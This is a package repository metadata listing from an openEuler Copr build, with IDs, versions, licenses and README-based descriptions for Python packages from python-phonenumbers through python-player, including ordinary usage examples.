location_href: 00004537-python-phonenumbers/python-phonenumbers-8.13.7-1.src.rpm
checksum_type: sha256
summary:
  Python version of Google's common library for parsing, formatting, storing and validating international phone numbers.

description:
  [![Coverage Status](https://coveralls.io/repos/daviddrysdale/python-phonenumbers/badge.svg?branch=dev&service=github)](https://coveralls.io/github/daviddrysdale/python-phonenumbers?branch=dev)
  This is a Python port of [Google's libphonenumber library](https://github.com/google/libphonenumber)
  It supports Python 2.5-2.7 and Python 3.x (in the same codebase, with no
  [2to3](http://docs.python.org/2/library/2to3.html) conversion needed).
  Original Java code is Copyright (C) 2009-2015 The Libphonenumber Authors.
  Release [HISTORY](https://github.com/daviddrysdale/python-phonenumbers/blob/dev/python/HISTORY.md),
  derived from [upstream release notes](https://github.com/google/libphonenumber/blob/master/release_notes.txt).


pkgId: e40f503c1e81dce7dcaf2005de29164c9766c314001f749f8f3f96ccbbd3c04d
name: python-phpserialize
arch: src
version: 1.3
epoch: 0
release: 1
summary: a port of the serialize and unserialize functions of php to python.
url: http://github.com/mitsuhiko/phpserialize
rpm_license: UNKNOWN
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-3fb8f674-807b-4230-b3bf-61400108f9f4
location_href: 00004539-python-phpserialize/python-phpserialize-1.3-1.src.rpm
checksum_type: sha256
description:
  >>> from phpserialize import *
  >>> obj = dumps("Hello World")
  >>> loads(obj)
  'Hello World'
  Due to the fact that PHP doesn't know the concept of lists, lists
  are serialized like hash-maps in PHP.  As a matter of fact the
  reverse value of a serialized list is a dict:
  >>> loads(dumps(range(2)))
  {0: 0, 1: 1}
  If you want to have a list again, you can use the `dict_to_list`
  helper function:
  >>> dict_to_list(loads(dumps(range(2))))
  [0, 1]
  It's also possible to convert into a tuple by using the `dict_to_tuple`
  function:
  >>> dict_to_tuple(loads(dumps((1, 2, 3))))
  (1, 2, 3)
  Another problem are unicode strings.  By default unicode strings are
  encoded to 'utf-8' but not decoded on `unserialize`.  The reason for
  this is that phpserialize can't guess if you have binary or text data
  in the strings:
  >>> loads(dumps(u'Hello W\xf6rld'))
  'Hello W\xc3\xb6rld'
  If you know that you have only text data of a known charset in the result
  you can decode strings by setting `decode_strings` to True when calling
  loads:
  >>> loads(dumps(u'Hello W\xf6rld'), decode_strings=True)
  u'Hello W\xf6rld'
  Dictionary keys are limited to strings and integers.  `None` is converted
  into an empty string and floats and booleans into integers for PHP
  compatibility:
  >>> loads(dumps({None: 14, 42.23: 'foo', True: [1, 2, 3]}))
  {'': 14, 1: {0: 1, 1: 2, 2: 3}, 42: 'foo'}
  It also provides functions to read from file-like objects:
  >>> from StringIO import StringIO
  >>> stream = StringIO('a:2:{i:0;i:1;i:1;i:2;}')
  >>> dict_to_list(load(stream))
  [1, 2]
  And to write to those:
  >>> stream = StringIO()
  >>> dump([1, 2], stream)
  >>> stream.getvalue()
  'a:2:{i:0;i:1;i:1;i:2;}'
  Like `pickle` chaining of objects is supported:
  >>> stream = StringIO()
  >>> dump([1, 2], stream)
  >>> dump("foo", stream)
  >>> stream.seek(0)
  >>> load(stream)
  {0: 1, 1: 2}
  >>> load(stream)
  'foo'
  This feature however is not supported in PHP.  PHP will only unserialize
  the first object.


pkgId: 01ddc77d9b6ccc0199697d90c656d74e30d4a0d231124b63e81701d5327f4e57
name: python-phx-class-registry
arch: src
version: 4.0.6
epoch: 0
release: 1
summary: Factory+Registry pattern for Python classes
url: https://pypi.org/project/phx-class-registry/
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-5d860370-79fc-48af-8568-4680f66ae335
location_href: 00012839-python-phx-class-registry/python-phx-class-registry-4.0.6-1.src.rpm
checksum_type: sha256
description:
  At the intersection of the Registry and Factory patterns lies the
  ``ClassRegistry``:
  - Define global factories that generate new class instances based on
    configurable keys.
  - Seamlessly create powerful service registries.
  - Integrate with setuptools's ``entry_points`` system to make your registries
    infinitely extensible by 3rd-party libraries!
  - And more!

rpm_license:
  MIT Licence  Copyright (c) 2017 EFL Global  Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.


pkgId: 3dfd08c4517a6ce1f811bcce5b5fd2ae1933eabbf34e6a453866dfce3a01c417
name: python-pickle5-debuginfo
arch: aarch64
version: 0.0.12
epoch: 0
release: 1
summary: Debug information for package python-pickle5
url: https://github.com/pitrou/pickle5-backport
rpm_license: Python Software Foundation License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-99a44b33-4acc-4f99-8f67-98f101bb1627
rpm_sourcerpm: python-pickle5-0.0.12-1.src.rpm
location_href: 00010623-python-pickle5/python-pickle5-debuginfo-0.0.12-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug information for package python-pickle5.
  Debug information is useful when developing applications that use this
  package or when debugging this package.


pkgId: 8389da53a328d07f1178e5452827eceef606bdf9da2785ee32f2133f77eec29d
name: python-pickle5-debugsource
arch: aarch64
version: 0.0.12
epoch: 0
release: 1
summary: Debug sources for package python-pickle5
url: https://github.com/pitrou/pickle5-backport
rpm_license: Python Software Foundation License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Development/Debug
rpm_buildhost: resalloc-99a44b33-4acc-4f99-8f67-98f101bb1627
rpm_sourcerpm: python-pickle5-0.0.12-1.src.rpm
location_href: 00010623-python-pickle5/python-pickle5-debugsource-0.0.12-1.aarch64.rpm
checksum_type: sha256
description:
  This package provides debug sources for package python-pickle5.
  Debug sources are useful when developing applications that use this
  package or when debugging this package.


pkgId: 5817dbcf3c201c063f5753c01c486a64209f078c82cdde9fd2ae2689010cccc1
name: python-pickleshare
arch: src
version: 0.7.5
epoch: 0
release: 1
summary: Tiny 'shelve'-like database with concurrency support
url: https://github.com/pickleshare/pickleshare
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ddd050ba-8f67-4d6b-bcff-fc89540c0b27
location_href: 00004541-python-pickleshare/python-pickleshare-0.7.5-1.src.rpm
checksum_type: sha256
description:
  PickleShare - a small 'shelve' like datastore with concurrency support

  Like shelve, a PickleShareDB object acts like a normal dictionary. Unlike shelve,
  many processes can access the database simultaneously. Changing a value in
  database is immediately visible to other processes accessing the same database.

  Concurrency is possible because the values are stored in separate files. Hence
  the "database" is a directory where *all* files are governed by PickleShare.

  Example usage::

      from pickleshare import *
      db = PickleShareDB('~/testpickleshare')
      db.clear()
      print("Should be empty:",db.items())
      db['hello'] = 15
      db['aku ankka'] = [1,2,313]
      db['paths/are/ok/key'] = [1,(5,46)]
      print(db.keys())

  This module is certainly not ZODB, but can be used for low-load
  (non-mission-critical) situations where tiny code size trumps the
  advanced features of a "real" object database.

  Installation guide: pip install pickleshare


pkgId: c47ae08b957cdf2bb339bb186898e7c0f0f04b63d372436b33a4d8a1e7f50c66
name: python-piexif
arch: src
version: 1.1.3
epoch: 0
release: 1
summary: To simplify exif manipulations with python. Writing, reading, and more...
url: https://github.com/hMatoba/Piexif
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-421a2d9b-3c44-486f-80a1-c3457152eb33
location_href: 00004542-python-piexif/python-piexif-1.1.3-1.src.rpm
checksum_type: sha256
description:
  |Build Status| |Windows Build| |Coverage Status| |docs|
  To simplify exif manipulations with Python. Writing, reading, and more... Piexif is pure Python. To everywhere with Python.
  Document: http://piexif.readthedocs.org/en/latest/
  Online demo: http://piexif-demo.appspot.com/demo


pkgId: b9d9892242e622c6a7130da3e3d7dd7964699fd21aed2458497d6c4dea097f29
name: python-pika
arch: src
version: 1.3.1
epoch: 0
release: 1
summary: Pika Python AMQP Client Library
url: https://pika.readthedocs.io
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6026e460-eaea-47d9-b9ff-623281d1d035
location_href: 00004545-python-pika/python-pika-1.3.1-1.src.rpm
checksum_type: sha256
description:
  Pika is a RabbitMQ (AMQP 0-9-1) client library for Python.
  |Version| |Python versions| |Actions Status| |Coverage| |License| |Docs|


pkgId: 75a459571ab71799036c24691ac5cc8e57884a9de3a45a3160b767b04cf316be
name: python-pikepdf
arch: src
version: 7.1.1
epoch: 0
release: 1
summary: Read and write PDFs with Python, powered by qpdf
url: https://pypi.org/project/pikepdf/
rpm_license: MPL-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1c78e84f-fd4d-42f1-a5b6-9163f8e03377
location_href: 00004547-python-pikepdf/python-pikepdf-7.1.1-1.src.rpm
checksum_type: sha256
description:
  **pikepdf** is a Python library for reading and writing PDF files.
  [![Build Status](https://github.com/pikepdf/pikepdf/actions/workflows/build.yml/badge.svg)](https://github.com/pikepdf/pikepdf/actions/workflows/build.yml) [![PyPI](https://img.shields.io/pypi/v/pikepdf.svg)](https://pypi.org/project/pikepdf/) ![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pikepdf) ![PyPy](https://img.shields.io/badge/PyPy-3.8%20|%203.9-blue) ![PyPI - License](https://img.shields.io/pypi/l/pikepdf) ![PyPI - Downloads](https://img.shields.io/pypi/dm/pikepdf)  [![codecov](https://codecov.io/gh/pikepdf/pikepdf/branch/master/graph/badge.svg?token=8FJ755317J)](https://codecov.io/gh/pikepdf/pikepdf)
  pikepdf is based on [QPDF](https://github.com/qpdf/qpdf), a powerful PDF manipulation and repair library.
  Python + QPDF = "py" + "qpdf" = "pyqpdf", which looks like a dyslexia test. Say it out loud, and it sounds like "pikepdf".
  ```python

  with pikepdf.open('input.pdf') as pdf:
      num_pages = len(pdf.pages)
      del pdf.pages[-1]
      pdf.save('output.pdf')
  ```
  **To install:**
  ```bash
  pip install pikepdf
  ```
  For users who want to build from source, see [installation](https://pikepdf.readthedocs.io/en/latest/index.html).
  pikepdf is [documented](https://pikepdf.readthedocs.io/en/latest/index.html) and actively maintained. Binary wheels are available for all common platforms, both x86-64 and ARM64/Apple Silicon.
  Commercial support is available.


pkgId: 1a7ad5489646b6885d11f95166d774d6b5141d85122aa559a323937e05621064
name: python-pilkit
arch: src
version: 2.0
epoch: 0
release: 1
summary: A collection of utilities and processors for the Python Imaging Libary.
url: http://github.com/matthewwithanm/pilkit/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-77d17e07-ec54-401a-8af5-9b3ad9ceaedf
location_href: 00011565-python-pilkit/python-pilkit-2.0-1.src.rpm
checksum_type: sha256
description:
  1. Install `PIL`_ or `Pillow`_.
  2. Run ``pip install pilkit`` (or clone the source and put the pilkit module on
     your path)
     more-frequently updated "friendly" fork of PIL that's compatible with
     setuptools. As such, it shares the same namespace as PIL does and is a
     drop-in replacement.


pkgId: 96f2f2db24da3ea9088afc2df186d3584d7ad66e3705f61872740ca278307970
name: python-pinkboto
arch: src
version: 0.0.45
epoch: 0
release: 1
summary: A Colorful AWS SDK wrapper for Python
url: https://github.com/Hotmart-Org/pinkboto
rpm_license: GNU General Public License v3 (GPLv3)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ccf832d8-a209-4f86-b2c2-c591d9b9ab40
location_href: 00011321-python-pinkboto/python-pinkboto-0.0.45-1.src.rpm
checksum_type: sha256
description:
  A Colorful AWS SDK wrapper for Python

  [![Current version at PyPI](https://img.shields.io/pypi/v/pinkboto.svg)](https://pypi.python.org/pypi/pinkboto)
  ![Supported Python Versions](https://img.shields.io/pypi/pyversions/pinkboto.svg)
  ![Software status](https://img.shields.io/pypi/status/pinkboto.svg)
  ![PyPI - Downloads](https://img.shields.io/pypi/dd/pinkboto)



  ```bash
  pip install pinkboto
  ```



  ```python
  import pinkboto
  aws = pinkboto.aws(profile='production', region='us-east-1')
  selector = {'resource': 'aws_db_instance'}
  projection = ['DBInstanceIdentifier', 'Endpoint']
  rds = aws.find(selector, projection)
  ```



  By default, pinkboto caching all requests with 120 seconds lifespan.

  To disable:

  ```python
  aws = pinkboto.aws(profile='production', region='us-east-1', cache=False)
  ```

  To modify lifespan to 1 hour:

  ```python
  aws = pinkboto.aws(profile='production', region='us-east-1', cache=3600)
  ```



  You can access a subfield in projection. For example 'Endpoint.Address' in rds

  ```python
  rds = aws.find({'resource': 'aws_db_instance'}, ['Endpoint.Address', 'AvailabilityZone'])
  ```



  ```python
  pinkboto.to_csv(rds, 'result.csv')
  ```



  ```bash
  update setup.py version.
  python3 setup.py sdist
  twine upload dist/pinkboto-${new-version}.tar.gz
  ```



  Pull requests for new features, bug fixes, and suggestions are welcome!



  GNU General Public License v3 (GPLv3)



  ```bash
  pre-commit install
  ```


pkgId: e57b6f5ef12cb0e16db6b123c272e7a0998015a80ab8a7e0dadde0c077734731
name: python-pip
arch: src
version: 23.0.1
epoch: 0
release: 1
summary: The PyPA recommended tool for installing Python packages.
url: https://pip.pypa.io/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-490ced29-95fa-4b1c-848e-ff645f6c577b
location_href: 00008894-python-pip/python-pip-23.0.1-1.src.rpm
checksum_type: sha256
description:
  pip is the `package installer`_ for Python. You can use pip to install packages from the `Python Package Index`_ and other indexes.
  Please take a look at our documentation for how to install and use pip:
  * `Installation`_
  * `Usage`_
  We release updates regularly, with a new version every 3 months. Find more details in our documentation:
  * `Release notes`_
  * `Release process`_
  In pip 20.3, we've `made a big improvement to the heart of pip`_; `learn more`_. We want your input, so `sign up for our user experience research studies`_ to help us do it right.
  **Note**: pip 21.0, in January 2021, removed Python 2 support, per pip's `Python 2 support policy`_. Please migrate to Python 3.
  If you find bugs, need help, or want to talk to the developers, please use our mailing lists or chat rooms:
  * `Issue tracking`_
  * `Discourse channel`_
  * `User IRC`_
  If you want to get involved head over to GitHub to get the source code, look at our development documentation and feel free to jump on the developer mailing lists and chat rooms:
  * `GitHub page`_
  * `Development documentation`_
  * `Development IRC`_


pkgId: 7f215bd722e7634a52d8a96806f016d6da3e1509c5a668d70141c8103c7a984b
name: python-pipefish
arch: src
version: 0.4.2
epoch: 0
release: 1
summary: Process JUnit XML and Cobertura coverage XML reports into Markdown
url: https://github.com/pytest-buildkite/pipefish
rpm_license: GPLv3+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b95dadd8-72d2-424a-8494-8f36079090ae
location_href: 00011512-python-pipefish/python-pipefish-0.4.2-1.src.rpm
checksum_type: sha256
description:
  Process JUnit XML and Cobertura coverage XML reports into Markdown


  * [News](https://github.com/pytest-buildkite/pipefish/blob/master/NEWS.rst).
  * [Code of Conduct](https://github.com/pytest-buildkite/pipefish/blob/master/CODE_OF_CONDUCT.md).
  * [Contribution Guidelines](https://github.com/pytest-buildkite/pipefish/blob/master/CONTRIBUTING.md).


pkgId: 4707869671fc333db820c74d2f44faa24483bddff4e3ee8262d3f33ab28ac8f7
name: python-pipelinewise-singer-python
arch: src
version: 2.0.1
epoch: 0
release: 1
summary: Singer.io utility library - PipelineWise compatible
url: https://github.com/transferwise/pipelinewise-singer-python
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1e4ed44e-3064-4671-8693-d3042aeabbc4
location_href: 00011110-python-pipelinewise-singer-python/python-pipelinewise-singer-python-2.0.1-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://badge.fury.io/py/pipelinewise-singer-python.svg)](https://badge.fury.io/py/pipelinewise-singer-python)
  [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pipelinewise-singer-python.svg)](https://pypi.org/project/pipelinewise-singer-python/)
  [![License: MIT](https://img.shields.io/badge/License-Apache2-yellow.svg)](https://opensource.org/licenses/Apache-2.0)
  Writes the Singer format from Python.
  This is a fork of [Singer's singer-python](https://github.com/singer-io/singer-python) made for [PipelineWise](https://transferwise.github.io/pipelinewise).


pkgId: bc4bff061e01e125712e07eeb268161ecd05584913d0259dab6f311d967d7df4
name: python-pipelinewise-singer-python-help
arch: noarch
version: 2.0.1
epoch: 0
release: 1
summary: Development documents and examples for pipelinewise-singer-python
url: https://github.com/transferwise/pipelinewise-singer-python
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1e4ed44e-3064-4671-8693-d3042aeabbc4
rpm_sourcerpm: python-pipelinewise-singer-python-2.0.1-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://badge.fury.io/py/pipelinewise-singer-python.svg)](https://badge.fury.io/py/pipelinewise-singer-python)
  [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/pipelinewise-singer-python.svg)](https://pypi.org/project/pipelinewise-singer-python/)
  [![License: MIT](https://img.shields.io/badge/License-Apache2-yellow.svg)](https://opensource.org/licenses/Apache-2.0)
  Writes the Singer format from Python.
  This is a fork of [Singer's singer-python](https://github.com/singer-io/singer-python) made for [PipelineWise](https://transferwise.github.io/pipelinewise).

location_href:
  00011110-python-pipelinewise-singer-python/python-pipelinewise-singer-python-help-2.0.1-1.noarch.rpm


pkgId: 300eeb50ffc158f2a2bda154409815f0fcbbd30afafaa83eb0fc911a182918a2
name: python-pipenv
arch: src
version: 2023.3.20
epoch: 0
release: 1
summary: Python Development Workflow for Humans.
url: https://github.com/pypa/pipenv
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c8902d6b-c20a-4dbc-a3d2-6e8eec70f016
location_href: 00009198-python-pipenv/python-pipenv-2023.3.20-1.src.rpm
checksum_type: sha256
description:
  [![image](https://img.shields.io/pypi/v/pipenv.svg)](https://python.org/pypi/pipenv)
  [![image](https://img.shields.io/pypi/l/pipenv.svg)](https://python.org/pypi/pipenv)
  [![CI](https://github.com/pypa/pipenv/actions/workflows/ci.yaml/badge.svg)](https://github.com/pypa/pipenv/actions/workflows/ci.yaml)
  [![image](https://img.shields.io/pypi/pyversions/pipenv.svg)](https://python.org/pypi/pipenv)


pkgId: fbdda1145aa66e8e9bf0371d94f18e16179e5755748d026ad1f086008475c355
name: python-pipfile
arch: src
version: 0.0.2
epoch: 0
release: 1
summary: please add a summary manually as the author left a blank one
url: https://github.com/pypa/pipfile
rpm_license: BSD or Apache License, Version 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a17c2245-076f-479e-92dd-f86667788528
location_href: 00010996-python-pipfile/python-pipfile-0.0.2-1.src.rpm
checksum_type: sha256
description:
  ``Pipfile`` and its sister ``Pipfile.lock`` are a replacement for the existing standard `pip`_'s ``requirements.txt`` file.
      WARNING: This project is under active design and development. Nothing is set in stone at this point of time.
  This repository contains the design specification of the ``Pipfile`` format, as well as (soon) an implementation of a parser for the specification which can be used by `pip`_ and any other consumer, once the design (including the form of a ``Pipfile`` itself) has been built out and finalized.


pkgId: 17f6ad2c3779d3747c3e05a03f7737fb6f49c3b08b7842bfc50617406923a179
name: python-pkgconfig
arch: src
version: 1.5.5
epoch: 0
release: 1
summary: Interface Python with pkg-config
url: https://github.com/matze/pkgconfig
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-52d23249-72ac-4eac-85ee-e4267f671776
location_href: 00009553-python-pkgconfig/python-pkgconfig-1.5.5-1.src.rpm
checksum_type: sha256
description:
  ``pkgconfig`` is a Python module to interface with the ``pkg-config``
  command line tool for Python 3.3+.
  It can be used to
  -  find all pkg-config packages ::
         >>> packages = pkgconfig.list_all()
  -  check if a package exists ::
         >>> pkgconfig.exists('glib-2.0')
         True
  -  check if a package meets certain version requirements ::
         >>> pkgconfig.installed('glib-2.0', '< 2.26')
         False
  -  return the version ::
         >>> pkgconfig.modversion('glib-2.0')
         '2.56.3'
  -  query CFLAGS and LDFLAGS ::
         >>> pkgconfig.cflags('glib-2.0')
         '-I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include'
         >>> pkgconfig.libs('glib-2.0')
         '-lglib-2.0'
  -  get all variables defined for a package::
          >>> pkgconfig.variables('glib-2.0')
          {u'exec_prefix': u'/usr'}
  -  parse the output to build extensions with setup.py ::
         >>> d = pkgconfig.parse('glib-2.0 gtk+-2.0')
         >>> d['libraries']
         [u'gtk+-2.0', u'glib-2.0']
     or ::
         >>> ext = Extension('foo', ['foo.c'])
         >>> # sets extension attributes as needed
         >>> pkgconfig.configure_extension(ext, 'glib-2.0 gtk+-2.0')
     The ``pkgconfig.parse`` function returns a dictonary of lists.
     The lists returned are accurate representations of the equivalent
     ``pkg-config`` call's result, both in content and order.
  If ``pkg-config`` is not on the path, raises ``EnvironmentError``.
  The ``pkgconfig`` module is licensed under the MIT license.


pkgId: bccd5d2f4e80c249fabd3fd7d7126ffb9ebabfede79bea2ec4154e9f988aa862
name: python-pkginfo
arch: src
version: 1.9.6
epoch: 0
release: 1
summary: Query metadata from sdists / bdists / installed packages.
url: https://code.launchpad.net/~tseaver/pkginfo/trunk
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7ae27c02-36a0-4300-ac43-d73f2b0fbbbe
location_href: 00004557-python-pkginfo/python-pkginfo-1.9.6-1.src.rpm
checksum_type: sha256
description:
  This package provides an API for querying the distutils metadata written in
  the ``PKG-INFO`` file inside a source distribution (an ``sdist``) or a
  binary distribution (e.g., created by running ``bdist_egg``).  It can
  also query the ``EGG-INFO`` directory of an installed distribution, and
  the ``*.egg-info`` stored in a "development checkout"
  (e.g, created by running ``setup.py develop``).
  Please see the `pkginfo docs <http://packages.python.org/pkginfo>`_
  for detailed documentation.


pkgId: 56eee88adf72468652096f57c379ee5217c52fa6f17fa5f5725d1be47e46b07e
name: python-pkgwat.api
arch: src
version: 0.13
epoch: 0
release: 1
summary: Python API for querying the fedora packages webapp
url: http://github.com/fedora-infra/pkgwat.api
rpm_license: LGPLv2+
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7302a427-ab85-4e2f-bcea-e7779fcb200e
location_href: 00004559-python-pkgwat-api/python-pkgwat.api-0.13-1.src.rpm
checksum_type: sha256
description:
  Make sure you have ``virtualenv`` installed and create a new venv::
    $ virtualenv env
    $ source env/bin/activate
    $ pip install -e .


pkgId: 8e4e2f51b4284ec71fc024d8f43184ce3ee9a8efb28d6f045462193e0773c481
name: python-plac
arch: src
version: 1.3.5
epoch: 0
release: 1
summary: The smartest command line arguments parser in the world
url: https://github.com/ialbert/plac
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1192576e-9db3-4c3d-8fab-bbfd9eae5b21
location_href: 00009502-python-plac/python-plac-1.3.5-1.src.rpm
checksum_type: sha256
description:
  `plac` is a Python package that can generate command line parameters
  from function signatures.

  `plac` works on Python 2.6 through all versions of Python 3.

  `plac` has no dependencies beyond modules already present in the Python
  standard library.

  `plac` implements most of its functionality in a single file that may be
  included in your source code.



  Here is how to turn a script that does some processing on a database
  table into a full, command-line enabled program:

  ```python

  from datetime import datetime

  def main(dsn, table='product', today=datetime.today()):
      "Do something on the database"
      print(dsn, table, today)

  if __name__ == '__main__':
      import plac
      plac.call(main)
  ```

  Here is the help message automatically generated by plac:

  ```
  python updatedb.py -h
  ```

  prints:

  ```
  usage: updatedb.py [-h] dsn [table] [today]

  Do something on the database

  positional arguments:
    dsn
    table       [product]
    today       [2019-07-28 07:18:20.054708]

  optional arguments:
     -h, --help  show this help message and exit
  ```



  The automatic inference takes us only so far, usually we need more
  control over the parameters. `plac` offers simple decorator helpers for
  positional, option and flag type parameters:

  ```python
  import plac

  from pathlib import Path

  @plac.pos('model', "Model name", choices=['A', 'B', 'C'])
  @plac.opt('output_dir', "Optional output directory", type=Path)
  @plac.opt('n_iter', "Number of training iterations", type=int)
  @plac.flg('debug', "Enable debug mode")
  def main(model, output_dir='.', n_iter=100, debug=False):
      """A script for machine learning"""
      pass

  if __name__ == '__main__':
      plac.call(main)
  ```

  Running the script with `$ python example.py -h` will give you the
  following help message: :

  ```
  usage: example.py [-h] [-o .] [-n 100] [-d] {A,B,C}

  A script for machine learning

  positional arguments:
    {A,B,C}               Model name

  optional arguments:
    -h, --help            show this help message and exit
    -o ., --output-dir .  Optional output directory
    -n 100, --n-iter 100  Number of training iterations
    -d, --debug           Enable debug mode
  ```



  The following decorator reference helps you recall what parameters are
  valid for each decorator type:

  ```python

  def pos(arg, help=None, type=None, choices=None, metavar=None):


  def opt(arg, help=None, type=None, abbrev=None, choices=None, metavar=None):


  def flg(arg, help=None, abbrev=None):
  ```

  Notably, the main functionality of `plac` is implemented in a single
  module called `plac_core.py` that, if necessary, may be included and
  distributed with your source code thus reducing external dependencies in
  your code.



  Python syntax, or your variable naming may impose constraints on what
  words may be used as parameters. To circumvent that limitation append a
  trailing underscore to the name. `plac` will strip that underscore from
  the command line parameter name:

  ```python
  import plac

  @plac.flg('list_')  # avoid clash with builtin
  @plac.flg('yield_')  # avoid clash with keyword
  @plac.opt('sys_')  # avoid clash with a very common name
  def main(list_, yield_=False, sys_=100):
      print(list_)
      print(yield_)
      print(sys_)

  if __name__ == '__main__':
      plac.call(main)
  ```

  produces the usage:

  ```
  usage: example13.py [-h] [-l] [-y] [-s 100]

  optional arguments:
    -h, --help         show this help message and exit
    -l, --list
    -y, --yield        [False]
    -s 100, --sys 100  [100]
  ```




  Your `plac` enabled program may accept multiple positional arguments and even additional key=value pairs:

  ```python
  import plac

  @plac.pos('args', help="words")
  @plac.opt('kwds', help="key=value", )
  def main(*args, **kwds):
      print(args)
      print(kwds)

  if __name__ == '__main__':
      plac.call(main)
  ```

  the usage will be:

  ```
  usage: example15.py [-h] [args ...] [kwds ...]

  positional arguments:
    args        words
    kwds        key=value

  optional arguments:
    -h, --help  show this help message and exit
  ```

  when running it as:

      python example15.py A B x=10 y=20

  the program prints:

      ('A', 'B')
      {'x': '10', 'y': '20'}



  In addition, plac can do a lot more, up to the creation of
  domain-specific languages(!). See the full documentation for more
  details.

  -   <https://plac.readthedocs.io/en/latest/>



  If you wish to install the package do

      pip install plac

  If you prefer to install the full distribution from source, including
  the documentation, download the
  [tarball](https://pypi.org/project/plac/#files), unpack it and run

      python setup.py install



  Run

      python doc/test_plac.py

  You will see several apparent errors, but this is right, since the tests
  are checking for several error conditions. The important thing is that
  you get at the a line like

  `Executed XX tests OK`



  -   <https://github.com/ialbert/plac>

  Author: Michele Simionato, <michele.simionato@gmail.com>

  Maintainer: Istvan Albert, <istvan.albert@gmail.com>



  -   <https://github.com/ialbert/plac/issues>



  BSD License


pkgId: 2e1334b57ecd5ab437cb46b5a0e89accafecb76f0741dfa9786819f2d7431b15
name: python-placebo
arch: src
version: 0.10.0
epoch: 0
release: 1
summary: Make boto3 calls that look real but have no effect
url: https://github.com/garnaat/placebo
rpm_license: Apache License 2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-2e9279ff-6981-42ba-b26e-06833e663ba5
location_href: 00011354-python-placebo/python-placebo-0.10.0-1.src.rpm
checksum_type: sha256
description:
  [![codecov](https://codecov.io/gh/garnaat/placebo/branch/develop/graph/badge.svg?token=ukrsVmWxwv)](https://codecov.io/gh/garnaat/placebo)
  Placebo allows you to mock boto3 calls that look just like normal calls but
  actually have no effect at all.  It does this by allowing you to record a set
  of calls and save them to a data file and then replay those calls later
  (e.g. in a unit test) without ever hitting the AWS endpoints.


pkgId: a3c2082846f69975ebcc8ee43f590d14c79c4d1ffcfae41bd43678ec1f9ca4ac
name: python-player
arch: src
version: 0.6.1
epoch: 0
release: 1
summary: Pyramid view layers
url: https://github.com/fafhrd91/player/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7f6d7575-cefb-43d0-a651-426e27f52ae2
location_href: 00004564-python-player/python-player-0.6.1-1.src.rpm
checksum_type: sha256
description:
  player allows to address templates with two parameters,
  category and name. Also it is possible to use set of directories
  for each layer, in that case `player` searches templates
  in each directory. It allows to override templates without changing
  code. For example form library can define layer `field`::
       >> ls ./fields/
  In your application you can override any of this template by defining
  new layer for `field` category::
       >> ls ./myproject/fields/
  Usually top level directory is a category and file in directory is template.
  For example 'form:view.lt'::
      `form` - layer category
      `view` - template name
      `.lt`  - custom pyramid renderer factory
  Layer can to be defined with `add_layer` config directive:
      >> config = Configurator()
  `form` directory can contain any template:
      >> ./form/
